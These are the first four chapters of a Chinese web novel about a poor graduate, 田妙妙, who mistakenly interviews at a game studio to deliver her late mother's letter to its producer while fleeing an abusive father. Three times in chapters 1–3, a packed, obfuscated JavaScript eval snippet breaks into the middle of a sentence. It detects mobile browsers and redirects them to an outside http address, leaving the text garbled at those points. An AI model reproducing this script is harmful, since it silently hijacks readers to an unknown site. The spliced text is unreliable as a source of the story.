《惯性依赖》 1. 第 1 章 踏出地铁站,热浪扑面,盛夏骄阳炙烤大地,田妙妙快步走着,没一会儿,额头上就沁满了汗珠。 好在她穷得连化妆品都买不起,素面朝天,倒也免去了妆面斑驳的尴尬。 手里紧握五年前的旧手机,再三确认着面试地点。 没错,按照地图上的标识,就是这里。 眼前这座宏伟壮观的写字楼,让她无端地感到一阵心虚。 来到S市已有五日,虽已见识过这座国际大都市的繁华,可真当步入写字楼时,她还是觉得自己与这里格格不入,与刘姥姥进大观园别无二致。 写字楼里的冷气开得很足,沁人心脾的凉意让她忍不住低声喟叹,心底默默祈祷着:老天爷啊,求求您让我面试上吧,能在这么舒服的地方办公,哪怕天天加班,我也心甘情愿。 不巧的是,写字楼的电梯正在维修中,田妙妙只能选择爬楼。好在面试地点在七楼,不算太高。 她怀揣着紧张的心情,快步踏上楼梯,没一会儿就追上前面的几个男生。 瞧见他们手里都拿着厚厚一叠资料,田妙妙放慢脚步,心中猜测,他们应该也是来面试的。 田妙妙跟在他们身后,偷偷瞄了一眼他们手中的资料。 如她所料,第一页就是简历。 然而当看到毕业院校那一栏写着清华二字时,田妙妙的心脏猛地一沉。 这是什么世道,名校高材生都来面试小公司了,那她还有什么希望呢? 紧张的情绪如潮水般涌来,田妙妙心慌意乱,甚至有些绝望。 可她还是咬着牙跟了上去,心想既然来了,就不能半途而废,就算面试不上,好歹也能积累些面试经验。 到了面试处,田妙妙再次被眼前的景象惊到了。 来面试的人多得快要把走廊挤满了,绝大部分是男生,从面相上看,大多都是那种刻板印象中理工学霸的模样。 普本毕业又毫无经验的田妙妙,心里直发怵。 S市求职的环境已经卷成了这般模样吗?有种留学海归卖奶茶的荒诞感…… 秉持着“来都来了”的想法,田妙妙心如死灰地排起队来。 前面的男生转过头,笑容里带着几分拘谨:“妹子,你来面试什么岗?策划还是美术?” 田妙妙一愣,心里满是疑惑。 什么策划?什么美术?这家公司不是初创的快递公司吗?难道快递公司还需要招人来设计包装盒? 她不过是来面试个行政助理,都已经做好了打杂的打算…… 田妙妙勉强挤出一个还算大方得体的笑容:“都不是。” “妹子,难道你也是程序岗?失敬失敬。”男生眼睛一亮,朝她抱了个拳。 程序?这又是个什么东西? 田妙妙一头雾水,摇了摇头,反问道:“你们都是来面试慧通快递的吗?” 男生们面面相觑,纷纷摇头,“没听过。” 田妙妙心中暗叫不好,她这是走错地方了! 她忙问:“你们面试的是什么公司?这到底是哪儿?” “问天工作室啊。”男生答道。 “这是什么?”田妙妙一脸茫然,她本以为这些学霸是来面试大公司的,没想到竟是一家听起来有些中二的工作室。 “是一家游戏工作室。”提起这家工作室,男生眼里闪烁着向往的光芒,语气里满是崇拜:“这可是我心里中国游戏业最后的希望了,要是能跟着白神一起制作游戏,我这辈子也就没什么遗憾了。” 听到堂堂大学霸说出这番话,田妙妙皱了下眉头,心里有些不以为然。 在她看来,这些顶尖高校的毕业生,就该去那些能为国家建设出份力的岗位,而不是窝在这儿做什么游戏。 但田妙妙什么也没表现出来,她握着拳头,做了个打气的手势,敷衍地鼓励道:“加油,你学校这么厉害,肯定能面试上的。” 得知走错地方,田妙妙本想立刻离开,可眼前这个看起来腼腆的学霸,却打开了话匣子,滔滔不绝地给她安利起来。 “你真不玩游戏吗?问天工作室虽然才成立两年,但那可是白神出走光希后成立的呀,他做的游戏才配称得上第九艺术……” “对不起,那个,我不玩游戏。”田妙妙小声打断他。 她现在哪有心情听他高谈阔论,她急着去赶自己的面试呢。 家境贫寒的她,从小就把心思都放在了学习和填饱肚子上,对游戏毫无兴趣,甚至还带着些负面印象,认为游戏就是让人上瘾、盲目充钱的电子海.洛.因。 “太可惜了,你居然不玩游戏。”男生叹了口气,“虽然我承认市面上大多游戏都是电子垃圾,但是池修白不一样,他是我心里的天才制作人。” “池修白?”田妙妙心头一跳,这个名字让她停下了脚步。她忙追问:“请问池修白是哪三个字?” “一池春水的池,修身齐家的修,黑白分明的白。”男生回答。“怎么了?你是不是想搜他有哪些作品,我可以给你介绍。” 对上了! 世上竟有这么巧的事,好似命运特意安排的一般。 她本打算等找到工作、安顿下来后再去找池修白,没想到竟误打误撞,提前得知他的线索。 田妙妙当即改变了主意,决定将错就错,面试问天工作室。 只要能见到池修白,把母亲临终前交给她的那封信递给他,她相信他看完之后,不会对她不管不顾。 田妙妙翻找着帆布包里那封泛黄的信,确认它还在,心里顿时安稳了许多。 男生还在介绍池修白最具代表性,也是他目前最爱的一款单机游戏,可田妙妙明显没在听。 看她突然翻起帆布包,男生关切地问道:“东西丢了?” “没有。”田妙妙摇头,笑着问道:“问天工作室这次招多少人啊,听你讲池修白这么厉害,我也打算跟他混。” 男生耸了耸肩:“具体几个我也不清楚,招聘信息上只说若干。白神的核心团队从不招应届生的,这次还是第一次呢,所以我说什么都得试试,面不上我再去云辰。” “云辰?”田妙妙惊愕不已,“那可是顶尖大厂啊,你为什么不直接去?” 男生说:“云辰的待遇确实好,不过大厂有大厂的弊端,做游戏太功利了,还是白神的游戏思路更合我心意。人嘛,不能一切都向钱看,我还是想做出点真正有意义的东西。” 田妙妙心里暗忖,不缺钱的人就是不一样。 要是自己,肯定哪个给钱多就去哪个,在她看来,什么都不如钱来得实在。 还有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096990|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个池修白,到底有什么魔力,居然能让这样一个高材生放弃云辰的offer,一心来投奔这个小小的游戏工作室。 这世上的事,还真是让人捉摸不透。 “你这么有诚意,别说池修白了,我都要被你感动了。我要是老板,肯定给你发offer。”田妙妙半开玩笑地说道。 男生腼腆地挠了挠头:“谢谢哈,我叫陈驰之,要不我们加个联系方式?说不定以后真成同事了。” 大学霸主动提出加联系方式,田妙妙哪有拒绝的道理。 万一真相处成朋友,以后还能要个内推的机会,多一个朋友,总归是多一条路。 田妙妙忙掏出手机,奈何这破手机实在不争气,点开微信的时候水灵灵卡死了。 她尴尬地冲陈驰之笑了下:“抱歉哈,我手机需要关机重启一下,实在有点卡。” “没事、没事,你还挺节俭的。”陈驰之说完后,忙意识到自己说错话,连连摆手:“抱歉,我不是那个意思……” “不碍事,我确实很穷的啦,再找不到工作就要饿死了。”田妙妙用玩笑的口吻说着残酷的现实。 对于贫穷这件事,田妙妙早就习惯了,青春期时还为此自卑得厉害,成年后才慢慢释怀。她知道陈驰之没有恶意,所以也没放在心上。 “对不起,我这人就是个死宅,嘴挺笨的,你别介意。”陈驰之再次道歉:“你性格挺好的,大家刚毕业还没工作,都穷、都穷。” 两人刚加上微信,还没聊几句,问天工作室的招聘负责人姜星出现了,拥堵的走廊自动给她让出一条道来。 田妙妙和陈驰之的目光瞬间被姜星吸引。 这个女人实在太美了,不只是乍一眼的惊艳,而是越看越有韵味,气质优雅,举止干练,白衬衫搭配鱼尾裙,脚踩裸色高跟鞋,整个人散发着一种让人难以抗拒的魅力。 唯一美中不足的是,姜星面色不悦,神情冷若冰霜,从他们面前走过时,眼神里透着一丝不耐烦。 她拍了拍手,把众人的注意力都吸引到自己身上,冷冷地开口说道:“请各位同学把简历和作品集递交过来,移步去108会议室稍作等待,叫到名字的进109面试。” 话音刚落,一道挺拔出众的身影从姜星身边走过,锐利的目光漫不经心地扫过人群,随后径直走进了109办公室。 好帅啊。这是田妙妙的第一反应。 问天工作室是专挑帅哥美女吗?怎么一个两个外形都这么出众,难道这就是入职问天的隐藏福利? 尤其刚才那男人,长相不输明星,身材堪比男模,这真的是游戏工作室的员工? “卧槽,白神!比照片里还帅啊!”陈驰之激动地低声感叹。 “什么,他就是池修白?”田妙妙十分惊讶。 陈驰之点头:“绝对的如假包换,但外形只是他最不值一提的优点,更厉害的是他的才华!” 田妙妙心里一阵激动,乃至于有点窃喜。 她再次摸了摸帆布包里的信封,心想这次真是来对了。 见到池修白,把信交给他,她就有机会在这座城市站稳脚跟——要是对方还有一丝良心的话。 她如今一无所有,不会放过任何一个能在S市活下去的机会,哪怕这么做,多少有些不光彩。 2. 第 2 章 田妙妙躲在人群后面,最后呈交上自己的简历,薄薄一张,也没有任何作品集。 姜星快速扫了眼她的简历。 名不见经传的毕业院校,与游戏开发毫不沾边的专业,同其他人递交上来的面试资料格格不入。 明明自己做过一次初筛,对这份简历却毫无印象。 她很意外地抬眸,觑了田妙妙一眼。 眼前女孩低垂的眼角,让她想起狂风暴雨下石缝里丛生的野草,脆弱和坚韧融合得恰到好处。 田妙妙梗着脖子,讪讪地冲姜星笑了下。 她相信就算再大的公司,也总有一些不需要专业知识的岗位吧,更别提问天只是工作室,应该不会这么严格吧…… 除了这探究的一眼,姜星没有其他举动,她收齐简历后冷冷说了句:“大家去会议室稍作休息。” 言毕,姜星转身进入109面试办公室。 109办公室飘着若有似无的雪柏香,池修白倚在真皮沙发椅上,骨节分明的手指正快速敲击键盘,电脑屏幕的微弱亮光映照着他眼下的淡青。 他这人好似一台设置好程序指令的高精密仪器,一旦来了工作室,指令立刻生效,短短几分钟便全神贯注地投入手头的游戏项目中。 看见他入神的样子,姜星气不打一处来,把收上来的一沓简历重重拍在实木桌面上。 姜星拉开一旁的座椅,坐下后狠狠剜了一眼池修白,心道,以前看他专注工作的时候,总觉得认真的男人最有魅力,可惜身份一变,心境也变了,现在她只觉得厌烦。 就算她做的再多,也比不过工作在他心里的重要性。 池修白的目光仍黏在电脑屏幕上,对于姜星的嚣张态度不予理会。 他的邮箱昨天已经收到了姜星的辞呈,他没找她谈话,直接批复同意。 他这人一贯不留情,亦不留人。 池修白头也没抬,语气淡淡,声音有一丝疲倦:“你面就行,我旁听。” 姜星拿起第一份简历,正是田妙妙的,不禁感慨:“没想到连问天的招聘都能遇见海投的。” “条件不符的扔了就行。”池修白完全没当一回事。 姜星原本想将田妙妙的简历直接pass掉,但看到池修白那无所谓的态度,着实让她心里不爽。他的不挽留,更是伤透了她的心。 临走前,姜星想恶心池修白一波。 既然他最看不上没能力的人,那她偏就把这个毫无能力的田妙妙招进来。 姜星:“我觉得她挺好,虽然不是应届生,学校也很一般,但面相还不错,看着就任劳任怨,踏实能吃苦。” “什么专业?” “财管。” “不缺财务。”池修白道:“问天不是废物收容所,不招没有价值的人。” 问天作为一个初创型工作室,人员精简,职能工作大多都是外包出去的,或是姜星兼任,目前还没有要招专职的人。 姜星轻哼了声:“不要以为只招核心岗就能万事大吉了,所有人都参与游戏开发,其他的工作难道就不管不顾了吗?我也不属于游戏开发岗,是不是也是没有价值的人?” “你不一样,你的重要性,我心里清楚。”池修白终于从密密麻麻的代码中抬头,深情款款地望向姜星。 他这人性子冷,偏生了双含情眼,当他注视一个人时,往往能带来我很爱你的错觉。 姜星就是被这种错觉蛊惑了一年又一年。 如今,梦该醒了。姜星心中叹息。 池修白扫了一眼田妙妙的简历,眉宇轻蹙,很是不解:“虽然不知道你看上她什么了,不过你要招进来,我也不反对。她不懂游戏制作,没法分到我这边,只能你离职前带带她了。” 姜星暂退一步:“我也没说非要招她,还是得看看她的面试表现怎么样,要是让我讨厌,那还是得pass。” “行,你面吧。”池修白抬手捏了下山根。 临近游戏B测,他忙得连睡觉的时间都没有,眼睛长时间盯屏幕,又干又涩,他拿出随身带着的滴眼液,娴熟地滴进眼里。 “又没睡?” 池修白闭着眼,懒懒回应:“来之前眯了会儿。” “哪有制作人像你这样的,什么都要一手包办,我看你也就不会画画,不然原画也能自己来。” “项目组这些人大多经验不足,我不亲自来能行吗?” 姜星心道,她之前招聘来的那几个程序,大都有三年以上从业经验,并非经验不足,只不过池修白这人标准太高,看不上他们的工作成果。 “离开光希自己成立工作室,你有没有后悔过?” “我做事就没有后悔一说。”池修白缓缓睁开眼。 “是,我走了,你也不会后悔的!”姜星话中满是愤懑。 池修白无奈地笑了下,“你最近怎么了,看起来特别焦虑。” “我要结婚了。”姜星幽怨地望向他,希冀他的回应。 “好,祝贺你,到时候给你包个大红包。”池修白面色如常,话里话外听不出任何触动。 姜星气得要死,“我真是后悔了,就不该跟你……” 不仅姜星有这个想法,池修白也挺后悔的。 在一起之前他明确表述过自己以后不会结婚,姜星与他一拍即合,说她也是,但没想到上个月她突然提出想进入人生下一个阶段。 池修白立刻就疏远她了。 池修白思考了一下,正色道:“不管怎么说,婚姻都是人生大事,你得好好考虑清楚,别因为跟我赌气就草率决定。” 姜星翻了个白眼,好看的人连白眼都别有风味:“我是不是该谢谢你的提醒。” “面试吧。”池修白不想和她争吵,岔开话题。 姜星见惯了此人的冷暴力,怒火中烧却也无可奈何,只得收拾好情绪,快速进入面试官的状态。 * 108会议室,乱成一团。 田妙妙和陈驰之坐在一起,她哀嚎:“完了,我的简历是最后交的,估计排在最上面,不会第一个叫我进去面试吧?” 陈驰之:“别担心,一般越早面试,越容易给面试官留下更深的印象。” “要是面试表现不好,同样也会留下更深刻的印象。”田妙妙叹气,她根本不在乎,大美女面试官对她的印象如何,她首要任务是把信递给池修白。 陈驰之鼓励她:“别泄气,面试最重要的就是气势不能虚。” 没一会儿,姜星的助手过来通知大家面试,第一个叫到名字的并不是田妙妙,这让她松了一口气。 两个小时后,叫到了陈驰之,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096991|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 田妙妙还在等待中。 “加油,加油,你一定可以的。”田妙妙表面上给陈驰之打气,实则在给自己打气,等待的时间越久,心情越是七上八下。 陈驰之倒是挺淡定的,不愧是名校学子,有扎实的技术傍身,底气就是足。 大概过了二十分钟,陈驰之才回到会议室。 田妙妙忙问:“怎么样?” 陈驰之神情自信,语气却很谦逊:“感觉还不错,应该没问题。” 进去后姜星和他聊了两三分钟,池修白似乎对他很感兴趣,主动开口,两人进行深入交流。能让白神提起兴致,陈驰之别提有多兴奋了,他心里觉得offer八九不离十了。 “下一个,田妙妙。” 被叫到名字,田妙妙浑身一颤。 “加油。”陈驰之冲她的背影朗声:“放松一点有奇效。” 田妙妙重重点头。 在109前驻足几秒钟后,田妙妙才鼓气勇气敲门。 由于太过紧张,从进门到落座的几步路,她险些同手同脚。 刚坐下,还没等她开始自我介绍,姜星便开门见山:“我看了你的简历,跟游戏相关的内容是一点没有,为什么会来面试问天?” 田妙妙死死掐了下大腿,心道,她总不能如实交代自己是走错地方了吧? 想起陈驰之对池修白的赞美,她现学现卖:“因为贵工作室的游戏理念比较符合我的想法。” 姜星扬眉:“哦?什么游戏理念?” 田妙妙作为没接触过游戏的纯小白,完全不知道怎么回答,她只能瞎说:“贵工作室的游戏不像市面上其他游戏那样让人沉迷,盲目充钱。” 她把自己对游戏的负面刻板印象反过来说。这应该算优点吧? 说完后,田妙妙心虚地瞄了眼池修白。 他此前完全没有抬头看她,但这句话之后,池修白的视线居然朝她扫射过来,锋利且不善。 池修白冷笑:“你的意思是我做的游戏毫无吸引力,毫无氪金欲?” 面对池修白的突然发问,田妙妙有些措手不及,就算她对游戏再不了解,此刻也明白自己的回答惹他生气了,忙道歉:“对不起,我不是这个意思。” “你什么意思?” “就是,我觉得你做的游戏才是第九艺术,属于艺术品范畴,不能用商品价值来衡量,太、太俗了……”田妙妙慌忙找补。 池修白双手交叉,半眯着眼,微抬下巴,表情倨傲,睥睨着田妙妙。 眼前女孩的穿着打扮虽整洁,但有种微妙的土感,还素面朝天、局促不安,在寸土寸金的晟市CBD,很少会看见这样的淳朴女孩。 脸蛋称得上年轻鲜嫩,但对看惯了绝色美女的池修白而言,实在是乏善可陈。 “你知道我最讨厌哪种人吗?就是那种心思永远不在正道上的人。”池修白直言不讳:“你是不是以为自己欲扬先抑的马屁很能吸引我的注意力?想投机取巧走歪道,也得掂量自己够不够格。” 田妙妙面色唰地一下白了下去。 她完全没料到池修白的言辞居然这么刻薄,就算她面试不佳,也没必要这么贬低她吧,话里话外都是让她撒泡尿照照自己。 更关键的是,这话完全戳她心窝上了,因为她确实盘算着靠那封信走歪道。 3. 第 3 章 看着田妙妙强忍泪水、倔强又可怜的模样,姜星有些于心不忍。 出口替她解围:“你还有什么其他想说的吗?详细介绍一下自己也行。” 被人这么直白羞辱,放以往田妙妙会情绪崩溃,灰溜溜地逃走,但如今她已无路可退。 尊严对她当前的境遇来说,是最不值一提的东西。 她忍下泪水,重整旗鼓看向池修白,“其实我不是来面试的,我是来找你的,我有东西要给你。” 池修白皱眉,难道是他的粉丝?可惜他很不喜欢粉丝线下找上他。 “如果是给我送礼物的话,大可不必。”池修白上下打量她一眼:“你还是过好自己的生活吧。” “不是。”池修白的话让田妙妙脸更烫了:“就是一封信。” “上面写满你不切实际的幻想?”池修白耐心耗尽,嘴角勾起凉薄的弧度,似笑非笑:“我刚才已经说的很明白了,不要动歪心思好吗?你可能对自己的认知还不够清楚,你并没有这个资本。” “差不多得了,她只是一个年轻小姑娘,你别这么咄咄逼人。”姜星轻拍了一下池修白的胳膊。 姜星是靠自己拼搏,留在S市的小镇做题家,她对田妙妙多少有点怜惜之情。 池修白侧目:“行,我不说了,你接着问吧。” 姜星:“你不是应届生,简历上也没有去年的履历,你这段时间做什么了?” 田妙妙实话实话:“去年我妈生重病,我陪妈妈看病没有工作,前段时间她离世了,我就出来找工作了。” “这样啊,实在抱歉。” 田妙妙摇头,心想这个漂亮姐姐可比池修白好相处多了。 “你刚才说的信,我可以看看吗?”姜星不可谓不好奇。 “信是妈妈临终前交给我的,是比较私密的内容,对不起我没有办法给你看。” 听到这个说法,池修白态度松动,看来是他刚才冤枉她了,“信你递过来吧,人可以走了。” 田妙妙如获大赦,把信递过去,还特别嘱托了句:“你一定要看。” 池修白把信压在笔记本电脑下,敷衍地点头。 田妙妙离开后,姜星看向池修白,征询他的意见:“要招她进来吗?” 池修白:“你觉得呢?” “我觉得她应该是个挺踏实的女孩。” “踏实?”池修白没忍住笑了下:“哪个踏实的姑娘面试时这么多花招?” “能被看出来的花招就不算招了。” “这倒也是,蠢得有点惹人发笑。” “我对她观感还行,一眼看过去就知道她的家境应该很差,一般这样的人工作态度比较认真,现在想招几个吃苦耐劳的新人可不容易了。” “如果这是你离职前的坚持,那我尊重你的决定。”池修白强调:“但我必须申明一点,她在我这里完全不过关,你走之后,她能不能转正我不敢保证。” 池修白从简历中抽了两份他相中的,合上笔记本电脑起身:“这两个留下,剩下的你裁决,我先走了。” 池修白拉开109办公室,赫然撞见田妙妙站在门口没离去。 “你怎么还在这?” 田妙妙急切地说:“我在等你,信你看了吗?” “你再催,它的归宿就是垃圾桶。”池修白说完后,径直离去。 田妙妙怕他真把信丢了,也不敢再上前,只能远远望着他颀长清瘦的背影。 好可怕的人,田妙妙心悸不已。 这种瞧不起人的天之骄子实在是太难搞了,就算长着一张帅脸,也很难让人心生亲近。 田妙妙垂头丧气回到108会议室。 陈驰之还没离开,特意等她的,“面得怎么样?” 田妙妙摇头:“挺悬的。”最大不确定因素就是池修白会不会看那封信,以及什么时候看。 “没事,指不定结果是好的呢。”陈驰之宽慰她:“就算没面上问天,S市的工作机会还有很多,总能找到满意的。” 田妙妙被鼓舞到了,对啊,就算池修白这条路走不通,那也没什么大不了的,她可以找其他工作,脏活累活也是活,只要能养活自己就够了。 “谢谢,我心情好多了。”田妙妙扬起笑容。 都说爱笑的人运气不会太差,田妙妙强迫自己每天都要多笑笑,指不定哪天就好事临门了。 与陈驰之告别后,田妙妙走出写字楼,收到慧通HR的电话。 “你怎么还没到?亏你还联系我,求一个面试机会,居然还敢迟到。” 田妙妙一年前拿到过一家小公司的offer,但因为母亲病情,她没有入职,这个小公司三月前已经倒闭,HR也跳槽去了慧通。 田妙妙忙道歉:“对不起啊,我刚才走错地方了,请问您那边面试结束了吗,我还能过去吗?” 原本田妙妙想直接推掉慧通的面试,但刚才池修白对她的嫌恶毫不掩饰,让她对于原计划心里没底,不管怎么说,多个面试机会,多个生存保障。 “赶紧过来!”HR语气不善:“十分钟之内赶不到的话,面试作废!” “好,谢谢您,我这就到!”田妙妙感激涕零。 得益于接受了池修白的毁灭性打击,田妙妙在慧通的发挥还挺稳定,反正更难堪的事情都经历过了,普通的面试也不能拿她怎么样。 HR让她回去等通知。 忙完两场面试,田妙妙腹中饥饿,她驻足在便利店前,思考半晌,最终还是放弃了货架上的三明治。 八块钱,够她自己买菜应付两三顿呢。 在找到工作前,她必须一块钱掰成两半花。 从菜市场买了一些特价蔬菜,田妙妙回到城中村的廉价日租房。 房间内阴暗潮湿,狭小逼仄,还有一股难闻的酸臭味,可在有收入之前,她只能住在这里。 晚饭她打算做青菜豆腐挂面汤,青菜补充维生素,豆腐补充蛋白质,挂面则是碳水,用最少的钱摄取基本的营养元素。 做饭的锅是别人搬家不要的二手小电锅,调味料也只有小瓶装的油和盐。 正做饭时,手机铃声响了,田妙妙心头一喜,该不会是池修白看完信后打来的吧? 田妙妙正在煎豆腐,也没仔细看来电显示,接通后夹在肩膀处:“喂。” “你个丧良心的赔钱货,骗了你老子的钱,现在死哪去了?你最好别给我找到,不然老子非把你这个贱蹄子的皮扒下来!” 手机里传来田建军的怒吼声,田妙妙吓得一愣。 她明明已经将混蛋爹的号码拉黑了,他怎么还能联系上她? 田妙妙这才停下手中做饭的活,仔细看了下号码,是个来自老家城市的陌生号码,应当是田建军借别人的手机打来的。 看来,她有必要去办一张新的电话卡,不然还是能被田建军找到。 混蛋爹大着舌头的咒骂声仍在继续,无外乎控诉她骗钱、不结婚、私自逃跑。 隔着手机屏幕都能闻到那股浓郁的酒臭味。 田妙妙的妈妈尸骨未寒,田建军就迫不及待替她找好了说亲的人家,麻溜地想把她“卖”掉。 田妙妙想起母亲临终前拉着她的手,常年艰苦的农忙劳作让她的眼睛浑浊不堪,那双愁苦的眼睛里满是悔恨和决绝,田妙妙难得在母亲眼里看到这般浓烈的感情。 母亲给她塞了一张泛黄的信封,死死盯着她,用尽最后的力气对她说:“你要离开这里,去大城市,就去S市,按照信上的联系方式去找这家人。 这家人欠我一个恩情,你去找他们,让他们帮帮你,千万不要留在这穷地方。 妈妈这辈子最后悔的事就是留在了这里,你比妈妈强,读了很多年的书,一定不要留在这里。 你答应妈妈。” “好。”田妙妙紧紧攥着信封,一个劲地点头,她止不住地流泪。 母亲这才欣慰地合上双眼,平静地从病痛中彻底解脱。 原本田妙妙是想在妈妈头七过了之后再走,却没想到,田建军居然迫不及待让她嫁人,还是嫁给村里一家断了腿的人。 那家人在村里做大棚生意,挺有钱,儿子前两年骑摩托飙车摔断了腿,原本相中的儿媳妇退亲了,这家人只能重新找人说亲。鉴于家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096992|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有钱,眼光自然高,没上过大学的姑娘还看不上,挑三拣四一番后相中了田妙妙。 但田妙妙母亲查出来癌症,可不能提前去说亲,万一要负责她妈的医疗费可就不划算了,好不容易等到田妙妙母亲离世,这家人立刻让媒婆上门说亲。 田建军家是村里最穷的那一批,奈何女儿聪明肯吃苦,成了村里罕见的大学生,模样也标致,算得上抢手货。 因为儿子残疾的情况,这家人给出的彩礼极为丰厚,田建军特别满意,当下就同意了。 田妙妙得知后,怒火中烧,她原本想跟田建军大吵一架。 但转念一想,自己马上要和这个家、乃至这个村庄斩断联系,与其走前单纯出口恶气,不如拿点好处再走。 母亲的病让她大学四年兼职打零工赚来的钱全部耗尽,还欠了不少,以及她的助学贷款也没还,更别说去了大城市的吃喝住行,通通离不开钱。 田妙妙假意同意,说拿到彩礼就办酒席。 田建军自然是想把彩礼都攥在自己手里,他想靠着这笔钱去做生意,实现他不切实际的发财梦,但田妙妙这妮子不好哄骗,不见票子不松口。 田建军只得不情不愿地把那家人给的彩礼押金先分了一半给田妙妙。 田妙妙蹙眉:“就五万?” 田建军说:“那家人做生意的,鬼精鬼精的,哪里肯一下子把彩礼全给齐,这只是押金,说办完酒席领了证再给一半,生下儿子再给另一半。” 田妙妙急着离开,自然也不好多做周旋,五万就五万,总比一点没有的强。 田妙妙把借的钱先还了,手里就只剩下三千多,她揣着这剩下的钱,以去县城挑婚纱为由离开家,不声不响地踏上了去S市的列车。 直到第二天,田建军发现田妙妙的身份证件不见了,还迟迟没有回家,才意识到自己被骗了。 这个女儿平时柔柔弱弱、不声不响的,哪知道突然摆了他一道。 他都不敢想那家人找他退彩礼押金时,他哪里掏得出钱哦。 田妙妙打断田建军喋喋不休的咒骂,语气决绝:“田建军,我走了,就绝对不会再回去,我当你死了,你也当我死了。” “你他妈的骗了我五万块!我把你个小蹄子养大,供你读书上学,你倒敢来算计你老子!你等着,我马上就去公安局报失踪,非把你这个小蹄子抓回来不可!” “供我读书的是我妈,可不是你。田建军,你要是敢报警,那我也不介意跟警察说说,我弟弟到底是怎么死的。” “你……”田建军喘着粗气,叫骂起来也没有方才的气势:“你最好死在外面,丧良心的玩意!” 田妙妙的弟弟被他爸醉酒后失手打死,连火化都没,卷个铺盖埋在后山头,村里的习俗,孩子夭折是土葬。 田妙妙不再和田建军掰扯了,她果断挂断电话。 被田建军这通电话一搅合,田妙妙顿时没了食欲,胃里一阵恶心,她快速跑到洗手台呕吐。 什么都没有吐出来。 胸腔剧烈起伏,田妙妙干呕完,掬起一把冷水抄了抄脸。 残破镜子里是一张苍白小脸,五官还挺秀致,只是长期营养不良,面色有些泛黄。 她对着镜子挤出一个惨淡的笑,在心中默默地告诉自己:从今往后,只为自己活,吃再多的苦也无妨,日子一定会好起来的。 田妙妙回到房间,看着煎到一半的豆腐,叹了一口气,继续做饭。 就算再没胃口,也要吃一点。 她现在最重要的就是要有一个好身体,不然手里那点钱太危险了。 十分钟后,青菜豆腐面做好了,田妙妙正要吃的时候,手机又响了。 她这次仔细查看来电显示,但凡是老家的号码,一律不接。 屏幕上的号码显示是S市的,还是个不常见的吉利号,她心一凛,这次十有八九是池修白。 田妙妙在心里默数五个数,才缓缓接起,防止显得自己太过急切。 接通后,还没等她开口,话筒中传来低沉磁性的男声:“你在哪?” 终于看信了!田妙妙的眼泪刷地掉下来。 4. 第 4 章 池修白夹着游戏本回到办公室,江弘深正瞌睡连连地等他。 池修白可以连续三四十个小时不睡,依然精神抖擞,只是眼底有些发青。 而江弘深则不然,熬了两宿的他,此刻宛如一具被吸干精气的骷髅。 听见门的响动,江弘深睁开眼,直截了当地说:“我觉得移动端优化得重做。” 池修白拍了拍他的肩:“可以,不枉我拉你入伙。” 他们正在开发的游戏使用的是目前最先进的游戏引擎UE5,可惜在移动端的适配情况很差。 主程交了好几遍的优化方案,池修白都不满意。 他做事力臻完美,绝不容许移动端的优化问题拖后腿。他想重做,但临近线下测试,任务量过于庞大,一个人实在忙不过来。 于是,池修白挖来了江弘深。 江弘深是个技术痴,骨子里有点孤傲,跟谁关系都一般,是光希的技术骨干,曾经跟过池修白的游戏项目组。 光希被云辰收购后,因不擅长办公室政治,江弘深逐渐被边缘化,分配给他的游戏制作内容没有任何技术挑战性。 他在云辰待得不爽,池修白给他递橄榄枝时,江弘深一秒钟都没犹豫就过来了。 云辰固然平台大、资源多、技术积累丰厚,但还是跟着池修白更有意思。 “重做的话最少三个月,线下测试怎么办?”江弘深说。 池修白:“我跟你一块做,时间还能提,实在赶不上的话,这次线下测试就先不测试移动端。” 江弘深点头,眼神瞟向那封信,调侃道:“这年头还有人送情书,真够复古的。” “不是情书。” “姜星给的?” “不是。”池修白笑道:“我之前怎么不知道你这么八卦?” 江弘深:“她跟你的事,还挺明显的。” “她快走了。”池修白道。 江弘深:“那你之后要主抓团队管理了?” “不,我还是喜欢在开发的最前线,放心,我叫你过来之后,就不会撂挑子不管的。我要不亲自带队做游戏,还成立问天干什么?”反正他这些年积累的资产,早就财富自由了。 “有你这话就行,还是跟你一个项目组心里踏实。” “那你当初怎么不直接跟我走?” “出了那种事,你恐怕也不信任我们这些光希的老人了。” “你眼里只有代码,跟他们牵扯又不深,你能来问天,我特别欢迎。” 江弘深鼻子有些痒,其实几年前刚开始合作时,他特别不爽池修白。 这人比他还恃才傲物,在池修白手下,自己的光芒几乎被压制得死死的。 但共事久了,逐渐习惯被碾压的感觉后,他开始欣赏池修白,有些他自个搞不定的技术难题,池修白熬个几天就迎刃而解了,不服不行。 尤其对比在云辰的境遇后,他愈发察觉出池修白的好。 